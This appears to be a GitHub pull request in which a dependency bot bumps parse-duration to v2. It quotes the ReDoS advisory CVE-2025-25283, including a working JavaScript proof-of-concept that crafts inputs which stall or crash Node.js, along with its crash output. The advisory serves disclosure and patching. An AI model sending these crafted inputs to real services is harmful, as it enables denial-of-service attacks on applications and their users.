fix(deps): update dependency parse-duration to v2 #10

mend-on-mend · 2025-02-23T21:45:12Z

This PR contains the following updates:

Package	Type	Update	Change
parse-duration	dependencies	major	`^1.1.0` -> `^2.0.0`

parse-duration has a Regex Denial of Service that results in event loop delay and out of memory

CVE-2025-25283 / GHSA-hcrg-fc28-fcg5

More information

Details

Summary

This report finds 2 availability issues due to the regex used in the parse-duration npm package:

An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively.
An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.

PoC

Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:

// Vulnerable regex to use from the library:
import parse from './index.js'

function generateStressTestString(length, decimalProbability) {
  let result = "";
  for (let i = 0; i < length; i++) {
    if (Math.random() < decimalProbability) {
      result += "....".repeat(99);
    }
    result += Math.floor(Math.random() * 10);
  }
  return result;
}

function getStringSizeInMB_UTF8(str) {
  const sizeInBytes = Buffer.byteLength(str, 'utf8');
  const sizeInMB = sizeInBytes / (1024 * 1024);
  return sizeInMB;
}

// Generate test strings with varying length and decimal probability:
const longString1 = generateStressTestString(380, 0.05);
const longString2 = generateStressTestString(10000, 0.9);
const longString3 = generateStressTestString(500000, 1);
const longStringVar1 = '-1e' + '-----'.repeat(915000)
const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

function testRegex(str) {
  const startTime = performance.now();
  // one of the regex's used in the library:
  // const durationRE = /(-?(?:\d+\.?\d*|\d*\.?\d+)(?:e[-+]?\d+)?)\s*([\p{L}]*)/giu;
  // const match = durationRE.test(str);
  // but we will use the exported library code directly:
  const match = parse(str);
  const endTime = performance.now();
  const timeTaken = endTime - startTime;
  return { timeTaken, match };
}

// Test the long strings:
let result = {}

{
  console.log(
    `\nRegex test on string of length ${longString1.length} (size: ${getStringSizeInMB_UTF8(longString1).toFixed(2)} MB):`
  );
  result = testRegex(longString1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longString2.length} (size: ${getStringSizeInMB_UTF8(longString2).toFixed(2)} MB):`
  );
  result = testRegex(longString2 + "....".repeat(100) + "5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar1.length} (size: ${getStringSizeInMB_UTF8(longStringVar1).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar1);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longString3.length} (size: ${getStringSizeInMB_UTF8(longString3).toFixed(2)} MB):`
  );
  result = testRegex(longString3 + '.'.repeat(10000) + " 5сек".repeat(9000));
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

{
  console.log(
    `\nRegex test on string of length ${longStringVar2.length} (size: ${getStringSizeInMB_UTF8(longStringVar2).toFixed(2)} MB):`
  );
  result = testRegex(longStringVar2);
  console.log(
    `   matched: ${result.match}, time taken: ${result.timeTaken}ms`
  );
}

The results of this on the cloud machine that I ran this on are as follows:

@&#8203;lirantal ➜ /workspaces/parse-duration (master) $ node redos.js 

Regex test on string of length 6320 (size: 0.01 MB):
   matched: 5997140778.000855, time taken: 0.9271340000000237ms

Regex test on string of length 3561724 (size: 3.40 MB):
   matched: 0.0006004999999999999, time taken: 728.7693149999999ms

Regex test on string of length 4575003 (size: 4.36 MB):
   matched: null, time taken: 43.713984999999866ms

Regex test on string of length 198500000 (size: 189.30 MB):

<--- Last few GCs --->

[34339:0x7686430]    14670 ms: Mark-Compact (reduce) 2047.4 (2073.3) -> 2047.4 (2074.3) MB, 1396.70 / 0.01 ms  (+ 0.1 ms in 62 steps since start of marking, biggest step 0.0 ms, walltime since start of marking 1430 ms) (average mu = 0.412, current mu = 0.[34339:0x7686430]    17450 ms: Mark-Compact (reduce) 2048.4 (2074.3) -> 2048.4 (2075.3) MB, 2777.68 / 0.00 ms  (average mu = 0.185, current mu = 0.001) allocation failure; scavenge might not succeed

<--- JS stacktrace --->

FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
----- Native stack trace -----

 1: 0xb8d0a3 node::OOMErrorHandler(char const*, v8::OOMDetails const&) [node]
 2: 0xf06250 v8::Utils::ReportOOMFailure(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
 3: 0xf06537 v8::internal::V8::FatalProcessOutOfMemory(v8::internal::Isolate*, char const*, v8::OOMDetails const&) [node]
 4: 0x11180d5  [node]
 5: 0x112ff58 v8::internal::Heap::CollectGarbage(v8::internal::AllocationSpace, v8::internal::GarbageCollectionReason, v8::GCCallbackFlags) [node]
 6: 0x1106071 v8::internal::HeapAllocator::AllocateRawWithLightRetrySlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
 7: 0x1107205 v8::internal::HeapAllocator::AllocateRawWithRetryOrFailSlowPath(int, v8::internal::AllocationType, v8::internal::AllocationOrigin, v8::internal::AllocationAlignment) [node]
 8: 0x10e4856 v8::internal::Factory::NewFillerObject(int, v8::internal::AllocationAlignment, v8::internal::AllocationType, v8::internal::AllocationOrigin) [node]
 9: 0x1540686 v8::internal::Runtime_AllocateInYoungGeneration(int, unsigned long*, v8::internal::Isolate*) [node]
10: 0x1979ef6  [node]
Aborted (core dumped)

You can note that:

0.01 MB of input was enough to cause a 1ms delay (0.92ms)
Ranging from either 3 MB to 4 MB of input results in almost a full second day (728ms) and 42 ms, depending on the characters used in the text passed to the library's parse() function
A 200 MB of input size already causes JavaScript heap out of memory crash

However, more interestingly, if we focus on the input string case:

const longStringVar2 = "1" + "0".repeat(500) + "e1" + "α".repeat(5225000)

Even though this is merely 10 MB of size (9.97 MB) it results in an out of memory issue due to the recursive nature of the regular expression matching:

Regex test on string of length 5225503 (size: 9.97 MB):
file:///workspaces/parse-duration/index.js:21
    .replace(durationRE, (_, n, units) => {
     ^

RangeError: Maximum call stack size exceeded
    at String.replace (<anonymous>)
    at parse (file:///workspaces/parse-duration/index.js:21:6)
    at testRegex (file:///workspaces/parse-duration/redos.js:35:17)
    at file:///workspaces/parse-duration/redos.js:89:12
    at ModuleJob.run (node:internal/modules/esm/module_job:234:25)
    at async ModuleLoader.import (node:internal/modules/esm/loader:473:24)
    at async asyncRunEntryPointWithESMLoader (node:internal/modules/run_main:122:5)

Node.js v20.18.1

To note, the issue at hand may not just be the primary regex in use but rather the reliance of the various replace functions in the parse() function which create copies of the input in memory.

Impact

I agree, a 200 MB (perhaps even less if we perform more tests to find the actual threshold) is a large amount of data to send over a network and hopefully is unlikely to hit common application usage.
In the case of the specialized input string case that uses a UTF-8 character it is only requires up to 10 MB of request size to cause a RangeError exception for a running Node.js application, which I think is more applicable and common to allow such input sizes for POST requests and other types.
Even for the smaller payloads such as 0.01 MB which aligns with Express's default of 100kb request limit size it causes a 1ms delay. Now imagine if an application is running without proper security controls such as rate limits, and attackers send 1000s of concurrent requests which quickly turn the 1ms delay into seconds worth of delay for a running application. The 3 MB payload already shows a 0.5s delay in one request.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

jkroso/parse-duration (parse-duration)

`v2.1.3`

Compare Source

What's Changed

Better performance / memory #61
Safer RE #61
Customizable placeholders
Type declaraion for rewriting units #62

Full Changelog: jkroso/parse-duration@v2.1.2...v2.1.3

`v2.1.2`

Compare Source

What's Changed

Fixed type definitions
Added abbrs mo, mth, microsec, nanosec
Removed b abbr
Removed μ as greek mu in favor of µ left in default set

Full Changelog: jkroso/parse-duration@v2.1.1...v2.1.2

Introduces locales
Moves units into parse.unit object #56
Abandons CJS format in favour of ESM
Adds locale-dependent group/decimal separator #35

`v1.1.2`

Compare Source

What's Changed

style: improve typings by @nordluf in https://github.com/jkroso/parse-duration/pull/22
feat: enable default import syntax in typescript by @alonesuperman in https://github.com/jkroso/parse-duration/pull/24
Make available unit types section a heading by @SparshithNR in https://github.com/jkroso/parse-duration/pull/31
Add typings for translations by @piotr-musialek-skyrise in https://github.com/jkroso/parse-duration/pull/38
feat(types): export units type by @sawa-ko in https://github.com/jkroso/parse-duration/pull/39
Fix typings resolution when using TypeScript 4.7+ with ESM by @Nitive in https://github.com/jkroso/parse-duration/pull/42
Fix ESM types by @remcohaszing in https://github.com/jkroso/parse-duration/pull/43
fix return type by @trim21 in https://github.com/jkroso/parse-duration/pull/50
Fix the type definitions for CJS by @remcohaszing in https://github.com/jkroso/parse-duration/pull/48
Fix ESM types by @remcohaszing in https://github.com/jkroso/parse-duration/pull/47
Fix types - use null instead of undefined by @Mykhailo-Sichkaruk in https://github.com/jkroso/parse-duration/pull/53
Add next unit support by @dy in https://github.com/jkroso/parse-duration/pull/55
Prevent using prototype properties as units by @goto-bus-stop in https://github.com/jkroso/parse-duration/pull/56

New Contributors

@nordluf made their first contribution in https://github.com/jkroso/parse-duration/pull/22
@alonesuperman made their first contribution in https://github.com/jkroso/parse-duration/pull/24
@SparshithNR made their first contribution in https://github.com/jkroso/parse-duration/pull/31
@piotr-musialek-skyrise made their first contribution in https://github.com/jkroso/parse-duration/pull/38
@sawa-ko made their first contribution in https://github.com/jkroso/parse-duration/pull/39
@Nitive made their first contribution in https://github.com/jkroso/parse-duration/pull/42
@remcohaszing made their first contribution in https://github.com/jkroso/parse-duration/pull/43
@trim21 made their first contribution in https://github.com/jkroso/parse-duration/pull/50
@Mykhailo-Sichkaruk made their first contribution in https://github.com/jkroso/parse-duration/pull/53
@goto-bus-stop made their first contribution in https://github.com/jkroso/parse-duration/pull/56

Full Changelog: jkroso/parse-duration@v0.4.0...v1.1.2

`v1.1.1`

Compare Source

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

disabled

Signed-off-by: mend-on-mend[bot] <mend-on-mend[bot]@users.noreply.github.com>

coderabbitai · 2025-02-23T21:45:18Z

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

Review comments: Directly reply to a review comment made by CodeRabbit. Example:
- I pushed a fix in commit <commit_id>, please review it.
- Generate unit testing code for this file.
- Open a follow-up GitHub issue for this discussion.
Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
- @coderabbitai generate unit testing code for this file.
- @coderabbitai modularize this function.
PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
- @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
- @coderabbitai read src/utils.ts and generate unit testing code.
- @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
- @coderabbitai help me debug CodeRabbit configuration file.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

@coderabbitai pause to pause the reviews on a PR.
@coderabbitai resume to resume the paused reviews.
@coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
@coderabbitai full review to do a full review from scratch and review all the files again.
@coderabbitai summary to regenerate the summary of the PR.
@coderabbitai generate docstrings to generate docstrings for this PR.
@coderabbitai resolve resolve all the CodeRabbit review comments.
@coderabbitai configuration to show the current CodeRabbit configuration for the repository.
@coderabbitai help to get help.

Other keywords and placeholders

Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (`.coderabbit.yaml`)

You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
Please see the configuration documentation for more information.
If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

Visit our Documentation for detailed information on how to use CodeRabbit.
Join our Discord Community to get help, request features, and share feedback.
Follow us on X/Twitter for updates and announcements.

github-actions · 2025-03-10T00:21:52Z

This PR has been automatically marked as stale because it has not had recent activity from the author. It will be closed if no further activity occurs. If the PR was closed and you want it re-opened, let us know and we'll re-open the PR so that you can continue the contribution!

fix(deps): update dependency parse-duration to v2

36287eb

Signed-off-by: mend-on-mend[bot] <mend-on-mend[bot]@users.noreply.github.com>

mend-on-mend bot added dependencies security labels Feb 23, 2025

github-actions bot added the stale label Mar 10, 2025

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

fix(deps): update dependency parse-duration to v2 #10

fix(deps): update dependency parse-duration to v2 #10

mend-on-mend bot commented Feb 23, 2025

coderabbitai bot commented Feb 23, 2025 •

edited

Loading

Review skipped

Chat

CodeRabbit Commands (Invoked using PR comments)

Other keywords and placeholders

CodeRabbit Configuration File (`.coderabbit.yaml`)

Documentation and Community

github-actions bot commented Mar 10, 2025

fix(deps): update dependency parse-duration to v2 #10

Are you sure you want to change the base?

fix(deps): update dependency parse-duration to v2 #10

Conversation

mend-on-mend bot commented Feb 23, 2025

parse-duration has a Regex Denial of Service that results in event loop delay and out of memory

Details

Summary

PoC

Impact

Severity

References

Release Notes

What's Changed

What's Changed

What's Changed

New Contributors

Configuration

coderabbitai bot commented Feb 23, 2025 • edited Loading

Review skipped

Chat

CodeRabbit Commands (Invoked using PR comments)

Other keywords and placeholders

CodeRabbit Configuration File (.coderabbit.yaml)

Documentation and Community

github-actions bot commented Mar 10, 2025

coderabbitai bot commented Feb 23, 2025 •

edited

Loading

CodeRabbit Configuration File (`.coderabbit.yaml`)